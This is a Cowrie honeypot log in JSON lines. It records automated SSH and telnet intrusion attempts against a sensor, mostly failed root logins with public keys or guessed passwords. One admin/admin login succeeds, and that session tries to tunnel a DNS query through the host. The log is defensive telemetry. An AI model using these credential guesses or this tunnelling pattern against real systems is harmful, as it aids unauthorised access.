{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:ab:dc:ac:f2:06:61:7f:32:c1:79:4e:f3:3b:6d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuEhdEqjrcPDPWKwKBYnlhlCxHOhV2DsiZYBn7ot7jBZ2vV5ZJOW9KwAbuGdf/vqwSiaTzbL7ld9B3tnvtSQEdgtYWD2yAoXdYicaSmIMr1fOxZQ/EPTB8Nc1xII0cZdyoUXgrExZAlEhYmfMtvcgZDeOXkKyKnvLJmRn5daNS6UOqwqJOLktkZKzVC1XfJY3ZmpDPYxBGuUe9lrfcIf5vcVs+D96KRIE2zD3PryZdCHqbT7bXzhj9DanwtAS/mHPrSWnkv7KmfuchJiRd//X9plyswmNa8CYJSFQpJTekt2Fwj4r20tAZHhEpE/E2hkX1Tse0OPkpZklH8aJkYdbtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.157882Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:97:9e:69:a8:f7:40:e1:d0:f0:81:ad:e2:5d:00:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8CJhno3U68AnmLMdI9xQytPaj1riPqqYXheEPOZATKuFDGoQWHWVJYdf0eih27du9KJdRINqg6e2qYvFhnR39+VWk6mpLB8il9BuKpyHG/m3FNBo27mgpK4/e+rH+pkyzd77LoAY+m1ZPeo51mW6aVc7APbmllACxQaaq6yVfgxQgyot1BxJGRUn2T+49uWWy5P6aNYXJt0qkHX93NMkILA4WauXWpwYaj3TaKG/Qp6GciCujpv9uWCAFNOlxvhM+nvbaM0L7a3x22JOXYO+vRJzyJHNhhHxuIbXcfc/labBim3pes7v3ZUXFmvu92hIxYX3Lh4yphMUmZLWYzGO9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:97:9e:69:a8:f7:40:e1:d0:f0:81:ad:e2:5d:00:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.170907Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:97:9e:69:a8:f7:40:e1:d0:f0:81:ad:e2:5d:00:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8CJhno3U68AnmLMdI9xQytPaj1riPqqYXheEPOZATKuFDGoQWHWVJYdf0eih27du9KJdRINqg6e2qYvFhnR39+VWk6mpLB8il9BuKpyHG/m3FNBo27mgpK4/e+rH+pkyzd77LoAY+m1ZPeo51mW6aVc7APbmllACxQaaq6yVfgxQgyot1BxJGRUn2T+49uWWy5P6aNYXJt0qkHX93NMkILA4WauXWpwYaj3TaKG/Qp6GciCujpv9uWCAFNOlxvhM+nvbaM0L7a3x22JOXYO+vRJzyJHNhhHxuIbXcfc/labBim3pes7v3ZUXFmvu92hIxYX3Lh4yphMUmZLWYzGO9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.175029Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:2f:ad:75:ba:6a:d0:fa:9c:51:ce:44:51:4d:2a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhj5mSPDi3Ow4fEZ06SXHS641ib9eZjXtR75yYMT9WD2gA6/COSZw396LdPtcKPyVz7oGnR2hULpaQRtkUdQtW3snnZeaGkUuAxdqh0wU3wFDvgNNJ9M1vcb4A7O/UJs5i7f7GHQBGUblbkJMW0/YntL36sSPyaVa7bY/NkTYojVgebiH+LImH7E1EufDglZ/gs4fmd0RKwymnAi82Uh9Vxc1gmPczyKqm6CbBqXhuydqntnc6x45A66NV1zC27WWhiLlf9qBEYnS4CZD1f969CcUL082YjT/GGs7j8dpQZeMEIAfKgjD4PYhJtEWJXajC5pfNQTI3vUZlU47MrkS3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:2f:ad:75:ba:6a:d0:fa:9c:51:ce:44:51:4d:2a:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.186975Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:2f:ad:75:ba:6a:d0:fa:9c:51:ce:44:51:4d:2a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhj5mSPDi3Ow4fEZ06SXHS641ib9eZjXtR75yYMT9WD2gA6/COSZw396LdPtcKPyVz7oGnR2hULpaQRtkUdQtW3snnZeaGkUuAxdqh0wU3wFDvgNNJ9M1vcb4A7O/UJs5i7f7GHQBGUblbkJMW0/YntL36sSPyaVa7bY/NkTYojVgebiH+LImH7E1EufDglZ/gs4fmd0RKwymnAi82Uh9Vxc1gmPczyKqm6CbBqXhuydqntnc6x45A66NV1zC27WWhiLlf9qBEYnS4CZD1f969CcUL082YjT/GGs7j8dpQZeMEIAfKgjD4PYhJtEWJXajC5pfNQTI3vUZlU47MrkS3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.191386Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:a3:ca:62:10:29:80:27:0f:51:88:60:2e:dc:fe:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTkDW6i4JaaU0EVUHnJqyzE8nf6dDAfcqjZ+qYj5jo84IRVIKlZ/5nBzHqb1pu5k840ra6yPU3i3RNeDlFp48YUvJ8wkhsRMwSaXG2CPNkveVCKUFalbnNbKGEENiASJBXN4l9eMBJ+lYduuSQyZyHDZj1i3Z09D5K9JfpyAbrPfregVCc9PultBO9pD0rMMUnfFziOG4hQ5PAbLtPkPHm1spwe2CgONJkWXuL/RyTx4guysPRnuCvVnPMpHaoiLiBVDw3ZhHAk1aeryMZIW6WNlKr2+nw/SfS/33SAYK0GuHJcMZkhreDnwPWoksczp1xXh8OsI4VERYYX82XE8Lt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:a3:ca:62:10:29:80:27:0f:51:88:60:2e:dc:fe:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.202633Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:a3:ca:62:10:29:80:27:0f:51:88:60:2e:dc:fe:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTkDW6i4JaaU0EVUHnJqyzE8nf6dDAfcqjZ+qYj5jo84IRVIKlZ/5nBzHqb1pu5k840ra6yPU3i3RNeDlFp48YUvJ8wkhsRMwSaXG2CPNkveVCKUFalbnNbKGEENiASJBXN4l9eMBJ+lYduuSQyZyHDZj1i3Z09D5K9JfpyAbrPfregVCc9PultBO9pD0rMMUnfFziOG4hQ5PAbLtPkPHm1spwe2CgONJkWXuL/RyTx4guysPRnuCvVnPMpHaoiLiBVDw3ZhHAk1aeryMZIW6WNlKr2+nw/SfS/33SAYK0GuHJcMZkhreDnwPWoksczp1xXh8OsI4VERYYX82XE8Lt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.206890Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.219927Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.4819815158844,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:53.309455Z","src_ip":"152.42.224.71","session":"c49edb9fb327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48860,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ce0d608672","protocol":"telnet","message":"New connection: 152.42.224.71:48860 (10.17.0.5:23) [session: 58ce0d608672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:57.768702Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3641da7f47","protocol":"telnet","message":"New connection: 152.42.224.71:48868 (10.17.0.5:23) [session: 5d3641da7f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.375959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48870,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57d3ad0d23b","protocol":"telnet","message":"New connection: 152.42.224.71:48870 (10.17.0.5:23) [session: d57d3ad0d23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.476198Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54890,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd1aaf0a47f7","protocol":"ssh","message":"New connection: 87.251.64.176:54890 (10.17.0.5:22) [session: cd1aaf0a47f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.517001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.523572Z","src_ip":"87.251.64.176","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.621497Z","src_ip":"87.251.64.176","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:01.911874Z","src_ip":"87.251.64.176","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:02.012189Z","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:02.120335Z","src_ip":"87.251.64.176","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:02.221381Z","src_ip":"87.251.64.176","session":"cd1aaf0a47f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.68584299087524,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:05.500889Z","src_ip":"152.42.224.71","session":"3f14e53b9af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.697723865509033,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:10.466298Z","src_ip":"152.42.224.71","session":"58ce0d608672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":42490,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ecbfa68280","protocol":"ssh","message":"New connection: 43.153.85.27:42490 (10.17.0.5:22) [session: 88ecbfa68280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:13.703988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:13.709359Z","src_ip":"43.153.85.27","session":"88ecbfa68280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:13.882584Z","src_ip":"43.153.85.27","session":"88ecbfa68280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"852f3efed25c","protocol":"telnet","message":"New connection: 152.42.224.71:45526 (10.17.0.5:23) [session: 852f3efed25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:16.156810Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@","message":"login attempt [root/1qaz2wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:16.495377Z","src_ip":"43.153.85.27","session":"88ecbfa68280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7025249004364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:17.530304Z","src_ip":"152.42.224.71","session":"dfc5214ed0f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:17.679210Z","src_ip":"43.153.85.27","session":"88ecbfa68280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.204.253.106","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"4336914a929b","protocol":"ssh","message":"New connection: 198.204.253.106:47380 (10.17.0.5:22) [session: 4336914a929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.657238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.664675Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.701482Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:1e:69:20:eb:dc:9a:8f:6c:02:02:eb:59:fa:49:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ndaG7c8ejlaoAF65XH0xsFgWXuDK572Qvj+hxBNRE89cL9c2olol5Tm7vl+i8rttnvhpg8O+jVssPjdFRhpNC8NbV4QjOkCfc5361GvhJ295wh+NCZDgDBATXwdgaEEku5cxV75WWX+4AwOMEDMPBObhTUQ801Vs3+mk6mrHPZLyT+Fl4/fnrPMcyRvCf571S4XPADLoiXcaGVai4C0+MLAqtHiamG+avJ9DYe2wl4Mmy4gRQtoXPmXqjNUY8hgVobnpnbfqXluKztyLt6FTe4R0zLQFsd7+0kJZBlX7TF7FA9x1uvFgXHf6jzVMZDGwb9heQ5w374T82x0ug3IP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:1e:69:20:eb:dc:9a:8f:6c:02:02:eb:59:fa:49:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.851283Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:1e:69:20:eb:dc:9a:8f:6c:02:02:eb:59:fa:49:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ndaG7c8ejlaoAF65XH0xsFgWXuDK572Qvj+hxBNRE89cL9c2olol5Tm7vl+i8rttnvhpg8O+jVssPjdFRhpNC8NbV4QjOkCfc5361GvhJ295wh+NCZDgDBATXwdgaEEku5cxV75WWX+4AwOMEDMPBObhTUQ801Vs3+mk6mrHPZLyT+Fl4/fnrPMcyRvCf571S4XPADLoiXcaGVai4C0+MLAqtHiamG+avJ9DYe2wl4Mmy4gRQtoXPmXqjNUY8hgVobnpnbfqXluKztyLt6FTe4R0zLQFsd7+0kJZBlX7TF7FA9x1uvFgXHf6jzVMZDGwb9heQ5w374T82x0ug3IP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.857918Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:da:e6:f3:57:4a:be:b5:69:65:d8:5b:2e:b8:1d:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIED3I4vcDMrQ9eUMGwKLSTSEQyEksemwMxe6UrhmTOLs","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c5:da:e6:f3:57:4a:be:b5:69:65:d8:5b:2e:b8:1d:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.895429Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:da:e6:f3:57:4a:be:b5:69:65:d8:5b:2e:b8:1d:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIED3I4vcDMrQ9eUMGwKLSTSEQyEksemwMxe6UrhmTOLs","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.902269Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:ae:a8:b7:bc:52:b3:09:9e:87:cd:df:1a:db:e3:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9hMVUZ9uF2WHIeVAEaovQA3YNE6x23a+uVlrzyC7/mcCfUzkP0QimlI+s9cu0ygo4W0B2lKlM/5OiIF7ThUU2fEvxisUtCq9OVLnhGenM1+FFohTQElgruTwBfyWfbvMHK6vCpwjNbQfMLbGkvS+LccRE6mNbn/RgVJshzhhITrwUPdoDqXjW95GiK425WcW7gvP738RQ8Eq43W/wzgrcC7OKuG1rEXGqpDDZFNKhJo8IZ0cwDpSJg+Ysorlb4+a3AZsz95UZFM9EArxSSCIdAo5+kiKbT/hAT3hrQaPxmKIXKgAgsGOkREco/rGfarSqTiiOnS3DbtFs0hY6CMgN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:ae:a8:b7:bc:52:b3:09:9e:87:cd:df:1a:db:e3:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.959056Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:ae:a8:b7:bc:52:b3:09:9e:87:cd:df:1a:db:e3:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9hMVUZ9uF2WHIeVAEaovQA3YNE6x23a+uVlrzyC7/mcCfUzkP0QimlI+s9cu0ygo4W0B2lKlM/5OiIF7ThUU2fEvxisUtCq9OVLnhGenM1+FFohTQElgruTwBfyWfbvMHK6vCpwjNbQfMLbGkvS+LccRE6mNbn/RgVJshzhhITrwUPdoDqXjW95GiK425WcW7gvP738RQ8Eq43W/wzgrcC7OKuG1rEXGqpDDZFNKhJo8IZ0cwDpSJg+Ysorlb4+a3AZsz95UZFM9EArxSSCIdAo5+kiKbT/hAT3hrQaPxmKIXKgAgsGOkREco/rGfarSqTiiOnS3DbtFs0hY6CMgN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:49:28.965081Z","src_ip":"198.204.253.106","session":"4336914a929b","protocol":"ssh"}
